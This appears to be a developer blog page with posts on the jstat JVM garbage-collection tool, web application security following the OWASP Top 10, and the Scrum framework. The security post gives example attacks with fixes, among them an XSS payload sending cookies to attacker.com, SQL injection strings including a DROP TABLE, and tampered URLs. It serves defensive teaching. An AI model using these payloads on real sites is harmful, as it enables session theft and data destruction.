Dear Reader,
Today we will discuss about "jstat". This is Java Virtual Machine Statistics Monitoring Tool.
I use this for watching live GC activity during post Production Deployment specifically if our new build contains
some JVM tuning or we deploy some thread related fix. You might be using visualvm, jstack, jmap utilities for JVM
analysis, verbose-gc files for GC. However if your JVM supports, jstat is best tool for watching live GC activities of a Java Process.
The jstat tool displays performance statistics for an instrumented HotSpot Java virtual machine (JVM).
The below Headers will be displayed in Console report, hence Abbrev are given as below:
Summary of Garbage Collection Statistics:
Column Description
S0 Survivor space 0 utilization as a percentage of the space's current capacity.
S1 Survivor space 1 utilization as a percentage of the space's current capacity.
E Eden space utilization as a percentage of the space's current capacity.
O Old space utilization as a percentage of the space's current capacity.
P Permanent space utilization as a percentage of the space's current capacity.
YGC Number of young generation GC events.
YGCT Young generation garbage collection time.
FGC Number of full GC events.
FGCT Full garbage collection time.
GCT Total garbage collection time.
Complete Details:
E:\Tools>jstat -gcutil 8792 3000 (Java Process Id is 8792, 3000 is Milliseconds interval.)
S0 S1 E O P YGC YGCT FGC FGCT GCT
99.88 0.00 83.94 0.92 92.06 2 0.061 0 0.000 0.061
99.88 0.00 83.94 0.92 92.06 2 0.061 0 0.000 0.061
0.00 99.95 8.73 2.03 99.04 3 0.071 0 0.000 0.071
0.00 99.95 26.33 2.03 99.51 3 0.071 0 0.000 0.071
99.86 0.00 3.74 10.45 98.34 4 0.089 0 0.000 0.089
99.86 0.00 45.33 10.45 98.94 4 0.089 0 0.000 0.089
99.86 0.00 75.27 10.45 99.43 4 0.089 0 0.000 0.089
0.00 99.86 15.00 12.74 98.18 5 0.100 0 0.000 0.100
0.00 99.86 57.14 12.74 98.28 5 0.100 0 0.000 0.100
0.00 99.86 94.67 12.74 98.41 5 0.100 0 0.000 0.100
97.80 0.00 26.22 12.74 98.50 6 0.109 0 0.000 0.109
97.80 0.00 60.60 12.74 98.61 6 0.109 0 0.000 0.109
97.80 0.00 94.61 12.74 98.72 6 0.109 0 0.000 0.109
0.00 96.29 37.34 14.30 98.77 7 0.123 0 0.000 0.123
0.00 96.29 66.33 14.30 98.87 7 0.123 0 0.000 0.123
61.50 0.00 4.67 17.04 98.92 8 0.137 0 0.000 0.137
61.50 0.00 42.56 17.04 98.99 8 0.137 0 0.000 0.137
61.50 0.00 80.11 17.04 99.03 8 0.137 0 0.000 0.137
0.00 95.05 7.00 19.42 99.07 9 0.153 0 0.000 0.153
0.00 95.05 45.77 19.42 99.11 9 0.153 0 0.000 0.153
0.00 95.05 87.16 19.42 99.21 9 0.153 0 0.000 0.153
20.67 0.00 23.91 20.96 99.34 10 0.162 0 0.000 0.162
20.67 0.00 55.89 20.96 99.41 10 0.162 0 0.000 0.162
20.67 0.00 89.74 20.96 99.51 10 0.162 0 0.000 0.162
.....This will keep printing.....
If you have issue regarding ProcessId, use below command to know Processes Running:
jps -l -m -v
If you want only limited number of records to see, use below command:
E:\Tools>jstat -gcutil 8792 1000 6 (8792:ProcessId, 1000:1 Second interval, 6:Only 6 Rows to display and then exit.)
E:\Tools>jstat -gcutil -h4 8792 1000 100 (-h4: Will reprint Header S0, S1, E etc after every 4 Lines. Total 100 Lines here.)
Other type of argument is: "gc": Statistics of the behavior of the garbage collected heap.
-gc: Garbage-collected heap statistics
Column Description
S0C Current survivor space 0 capacity (KB).
S1C Current survivor space 1 capacity (KB).
S0U Survivor space 0 utilization (KB).
S1U Survivor space 1 utilization (KB).
EC Current eden space capacity (KB).
EU Eden space utilization (KB).
OC Current old space capacity (KB).
OU Old space utilization (KB).
PC Current permanent space capacity (KB).
PU Permanent space utilization (KB).
YGC Number of young generation GC Events.
YGCT Young generation garbage collection time.
FGC Number of full GC events.
FGCT Full garbage collection time.
GCT Total garbage collection time.
E:\Tools>jstat -gc 8792 5000 20
S0C S1C S0U S1U EC EU OC OU PC PU YGC YGCT FGC FGCT GCT
5120.0 5120.0 0.0 4129.1 77312.0 44305.7 175104.0 68584.6 49664.0 24834.0 105 1.065 1 0.096 1.161
5120.0 5120.0 0.0 4129.1 77312.0 46390.8 175104.0 68584.6 49664.0 24834.0 105 1.065 1 0.096 1.161
5120.0 5120.0 0.0 4129.1 77312.0 52546.8 175104.0 68584.6 49664.0 24834.0 105 1.065 1 0.096 1.161
5120.0 5120.0 5116.1 0.0 77312.0 210.1 175104.0 69184.6 49664.0 24834.4 106 1.078 1 0.096 1.174
5120.0 5120.0 5116.1 0.0 77312.0 36339.2 175104.0 69184.6 49664.0 24834.4 106 1.078 1 0.096 1.174
5120.0 5120.0 5116.1 0.0 77312.0 74165.2 175104.0 69184.6 49664.0 24834.4 106 1.078 1 0.096 1.174
5120.0 5120.0 0.0 4000.0 77312.0 27741.9 175104.0 71402.5 49664.0 24834.4 107 1.086 1 0.096 1.182
5120.0 5120.0 0.0 4000.0 77312.0 60018.1 175104.0 71402.5 49664.0 24834.4 107 1.086 1 0.096 1.182
5120.0 5120.0 3904.0 0.0 77312.0 16572.7 175104.0 73227.0 49664.0 24834.4 108 1.097 1 0.096 1.193
5120.0 5120.0 3904.0 0.0 77312.0 53046.6 175104.0 73227.0 49664.0 24834.5 108 1.097 1 0.096 1.193
5120.0 5120.0 0.0 3713.1 77312.0 8212.0 175104.0 74979.1 49664.0 24834.5 109 1.105 1 0.096 1.201
5120.0 5120.0 0.0 3713.1 77312.0 43119.1 175104.0 74979.1 49664.0 24834.5 109 1.105 1 0.096 1.201
5120.0 5120.0 4352.0 0.0 77312.0 1189.1 175104.0 76731.5 49664.0 24834.5 110 1.110 1 0.096 1.206
5120.0 5120.0 4352.0 0.0 77312.0 36556.2 175104.0 76731.5 49664.0 24834.5 110 1.110 1 0.096 1.206
5120.0 5120.0 4352.0 0.0 77312.0 68395.2 175104.0 76731.5 49664.0 24834.5 110 1.110 1 0.096 1.206
5120.0 5120.0 0.0 4353.1 77312.0 27265.7 175104.0 78299.5 49664.0 24834.5 111 1.117 1 0.096 1.213
More Details: http://docs.oracle.com/javase/7/docs/technotes/tools/share/jstat.html
--------------------------------------END------------------------------------------
Monday, March 27, 2017
jstat : Java GC Statistics Details
Thursday, March 16, 2017
Security and Vulnerability for Web Applications
What are Securities in a Product:
Web Application Security,
Network Security,
Infrastructure Security,
Database Security, and
Operational Security.
What are Vulnerabilities: Unchecked input while processing at Server Side, which results malicious changes in Web App.
Why Security and Vulnerability Need to be addressed:
For PCI-DSS Compliance
Securing Applications from Hackers
Saving Innocent Consumers
Agenda: What is Web Application Security?
Web Application Security: Deals specifically with security of websites and web applications. A majority of the attacks against
Web servers are through network firewalls and through the http(80) or https(443) ports. Some of the most commonly used hacking
techniques include Denial of service, Leakage, Cross-site scripting, SQL injection. DENIAL OF SERVICE: Attacks causes Excessive
CPU Consumption, Excessive Disk I/O Consumption and Excessive Network I/O Consumption, causes service not available to real users.
An attacker has two goals for this:
1) Inject malicious data into Web App.
2) Manipulate Web App using malicious data.
1) Inject malicious data into Web App.
Parameter Tampering
URL Manipulation
Hidden Field Manipulation
HTTP Header Tampering
Cookie Poisoning
2) Manipulate Web App using malicious data.
SQL Injection
Cross-Site Scripting
HTTP Response Splitting
Path Traversal
Command Injection
OWASP: Open Web Application Security Project
It is an Online community which creates freely-available articles, methodologies, tools and technologies in the
field of web application security. OWASP was started on September 9, 2001.
OWASP came with Top 10 types of regular critical issues which was first published in 2003 and is regularly updated.
OWASP Site list out the issue and their solutions too in their respective Testing Guide, which can be checked.
OWASP is the de facto standard for designing and testing secure web applications.
Other guidelines are:
Threat Modeling processes such as STRIDE and DREAD
OWASP’s Software Assurance Maturity Model (OpenSAMM)
Open Security Testing Methodology Manual (OSTMM)
Web Application Security Consortium (WASC) guidelines
Testing of Web Application before build release to Production is called Vulnerability Assessment and Penetration Testing (VAPT).
Which company does this security testing: Paladion, Veracode, Netragard, IBM Rational.
OWASP Top 10 Issues:
A1- Injection: SQL, OS, LDAP Injection as part of a command or Query.
A2- Broken Authentication and Session Management: Attackers hijack sessions, get hold of session tokens and Passwords
if these are not implemented correctly in web applications.
Ex: Airline reservations application supports URL rewriting, putting session IDs in the URL:
http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without
knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.
http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout”
the user simply closes the browser tab and walks away. Attacker uses the same browser Few Minutes Later, and that browser
is still authenticated.
A3- Cross Site Script (XSS): XSS allows attackers to execute Java Scripts in the victim's browser which can hijack
user sessions, deface web sites or redirect the user to malicious sites.
http://www.example.com/saveComment?comment=Great+Site!
Server Reply:
<h3> Thank you for your comments! </h3>
You wrote:
<p/>
Great Site!
<p/>
http://wwww.example.com/saveComment?comment=<script>alert('xss');</script>
Server Reply:
<h3>Thank you for your comments!</h3>
You wrote:
<p/>
<script>alert('xss');</script>
<p/>
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
The attacker modifies the 'CC' parameter in their browser to:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Solution: Replace "<", "Script" kind of words/characters with html encoded entities.
A4- Insecure Direct Object References: This occurs when a developer exposes a reference to an internal implementation
object such as file, directory, database username/password without an access control check.
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
http://example.com/app/accountInfo?acct=notmyacct (Modified by hacker).
A5- Security Misconfiguration: Security settings must be defined in prod environment. Default Security Settings are
often insecure. Softwares too must be kept upto date with all security patch installation.
A6- Sensitive Data Exposure: CreditCards, DOB, Authentication Credentials, CVV2. Attackers may steal or modify such
weekly protected data to conduct Credit Card Fraud, Identity Theft. These data must be encrypted and kept.
A7- Missing Function Level Access Control (Private, Public visibility of URLs and Patterns.) In our case, only "/csr"
link is visible from CSR from public IP.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo (admin has logged in, next time hacker simply will use this URL.)
If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed
to access the admin_getappInfo page, this is also a flaw.
A8- Cross Site Request Forgery (CSRF): Attacker sends a forged HTTP Request page, including session cookie and any other
authentication information and get the job done. It is also known as a one-click attack or session riding and abbreviated
as CSRF or XSRF.
A9- Using Components with Known Vulnerabilities: Libraries, Frameworks, other software components with knows vulnerabilites
are prone to attack. These causes serious data loss or server takeover. Should read the third party components issues and loopholes.
A10-Unvalidated Redirects and Forwards: Attackers can redirect Victims to phishing or malware sites or use forwards to
access unauthorized pages. Ex: The application has a page called “redirect.jsp” which takes a single parameter named “url”.
The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.
http://www.example.com/redirect.jsp?url=evil.com
1) Inject malicious data into Web App.
Parameter Tampering: Parameter Pollution Attack
http://localhost:9090/MyDiaryWeb/sum?n1=45&n1=4&n2=50
URL Manipulation:
Original: http://www.mybank.com/myaccount?accountnumber=11111&debit_amount=100
Modified: http://www.mybank.com/myaccount?accountnumber=11111&debit_amount=-5000 (Increase the account balance)
Hidden Field Manipulation:
Set hidden fields of HTML forms in Web pages to malicious values. Because HTTP is stateless, many Web applications use
hidden fields to emulate persistence. Hidden fields are just form fields made invisible to the end-user.
For example, consider an order form that includes a hidden field to store the price of items in the shopping cart:
<input type="hidden" name="total_price" value="25.00">
A typical Web site using multiple forms, such as an online store will likely rely on hidden fields to transfer state
information between pages. Unlike regular fields, hidden fields cannot be modified directly by typing values into an
HTML form. However saving the HTML page, editing the hidden field value, and reloading the page will cause the Web
application to receive the newly updated value of the hidden field.
HTTP Header Tampering: Manipulate parts of HTTP Header Requests sent to the application.
Cookie Poisoning: Place malicious data in cookies, small files sent to Web-based applications.
Many Web applications use cookies to store information such as user login/password pairs and user identifiers.
This information is often created and stored on the user's computer after the initial interaction with the Web application,
such as visiting the application login page. Cookie poisoning is a variation of header manipulation: malicious input can be
passed into applications through values stored within cookies. Because cookies are supposedly invisible to the user, cookie
poisoning is often more dangerous in practice than other forms of parameter or header manipulation attacks.
2) Manipulate Web App using malicious data.
SQL Injection: Pass input containing SQL commands to a database server for execution.
Cross-Site Scripting: exploit applications that output unchecked input and trick the user into executing malicious scripts.
HTTP Response Splitting:
Path traversal: exploit unchecked user input to control which files are accessed on the server.
Command Injection: exploit user input to execute shell commands.
Password-Guessing attack: Brute Force Attacks with different combination of Letters, Numbers and Symbols, till it cracks.
Other Security issues:
1) Broken Link: A broken link refers to any link that should take you to a document, image or webpage, that actually results
in an error. This page was linked from the website but it is inaccessible.
2) Cookies must be set with "HTTPOnly" flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the
cookie can only be accessed by the server and not by client-side scripts. This is an important security protection
for session cookies. HTTPOnly limits the ability of JavaScript and other client-side scripts to access cookie data.
This cookie attribute will prevent JavaScript from reading or writing to HTMLOnly labeled cookies, preventing some forms
of cross-site scripting.
response.setHeader("SET-COOKIE", "JSESSIONID=" + session.getId() + "; Path=/csr; HttpOnly; Secure");
3) Clickjacking is a malicious technique of tricking a Web user into clicking on something different from what the user perceives
they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking
on seemingly innocuous (not injurious) web pages. Solution is the server should return an X-Frame-Options header which means
that their content is not embedded into other sites. Sites can use this to avoid clickjacking attacks.
response.setHeader( "X-FRAME-OPTIONS", "DENY" );
4) HTTP OPTIONS method should be Disabled on the web server. The OPTIONS method provides a list of the methods that are supported
by the web server, it represents a request for information about the communication options available on the request/response chain.
This will enable more advanced attacks by hackers. Solution is Config change in web.xml (below config will disable all methods
except HEAD and GET):
<security-constraint>
<web-resource-collection>
<web-resource-name><strong>restricted methods</strong></web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>POST</http-method>
<http-method>DELETE</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
5) Restrict access to the Web Server (JBOSS) Web Service Console, Management Console, Index pages apart from Web App.
Solutions:
SQL Injection: Use PreparedStatement, get the values and use setInt, setString, setDate kind of APIs.
String sql = "SELECT * FROM ACCOUNTS where ACC_ID='"+accId+"'";
//http://localhost:9090/MyDiaryWeb/account?accId=1000' OR '1'='1
//SELECT * FROM ACCOUNTS WHERE ACC_ID = ' 1000' or '1'='1 ';
//http://localhost:9090/MyDiaryWeb/account?accId=1000'; DROP TABLE Suppliers;
//SELECT * FROM ACCOUNTS WHERE ACC_ID = '1000'; DROP TABLE Suppliers;
Parameter/Field Manipulation: Use Request, Session Tokens and Change on every Click in CSR.
Code Review.
Change JSessionId on Every Click in Web Application. To do this "Store all Session variables into new Session except JSessionId".
Lock the Account to save User from Password Guessing Attack after a defined number of incorrect password attempts.
Tools Used For Reproducing Issue and Fix Testing:
OWASP CSRF Tester
BurpSuite
Acunetix
Wednesday, March 8, 2017
The Scrum Framework
Scrum is Agile framework for completing complex projects, used by Fortune 500 companies around the world.
In Rugby sport, scrum means "restart the game."
This requires high-performing, cross-functional teams (Dev, QA, Project Manager basically) to work and interact almost on
daily basis at the begining of the day to assess progress. Scrum Teams are very different from traditional development groups.
Sprint: In product development, a sprint is a set period of time during which specific work has to be completed and made ready
for review. The duration of a sprint is determined by the scrum master, the team's facilitator. Once the team reaches a
consensus for how many days a sprint should last, all future sprints should be the same. After a sprint begins, the product
owner must step back and let the team do their work. During the sprint, the team holds daily stand up meeting to discuss
progress and brainstorm solutions to challenges. Sprints are usually from 2 to 4 weeks period.
Scrum in Detail:
1) A Product owner creates a prioritized list of ideas (wish list) for the product called a Product Backlog. The product backlog helps
the team break the product into smaller, more manageable pieces and build it incrementally in a series of short time periods called
Sprints. Sprints typically last 2 to 4 weeks.
Ex: If you want to develop facebook like product, then you will make a list of all the required items:
Login
Logout
Registration Page
Change password
Profile Picture
Profile Messages
Photos Upload
Photos Edit
Profile Search
Friendship Requests etc (List of around 80-100 items).
2) During sprint planning, the team pulls a small chunk from the top of that wish list (first set of basic items to be delivered to client)
called a sprint backlog, and decides how to implement those pieces.
3) It also considers First 1-2 Weeks for the enviroment setup for starting product development.
4) The team has a certain amount of time (sprint) to complete its work, but it meets each day to assess its progress (daily Scrum).
5) Along the way, the ScrumMaster keeps the team focused on its goal. The ScrumMaster also removes impediments for the team, so everyone
can focus and move forward with their work.
6) At the end of the sprint, the work should be potentially shippable (Demo): ready to hand to a customer or show to a stakeholder.
7) The sprint ends with a sprint review and retrospective.
8) As the next sprint begins, the team chooses another chunk of the product backlog and begins working again.
9) This Sprint cycle repeats until enough items in the product backlog have been completed, the budget is depleted, or a deadline arrives.
Subscribe to:
Posts (Atom)
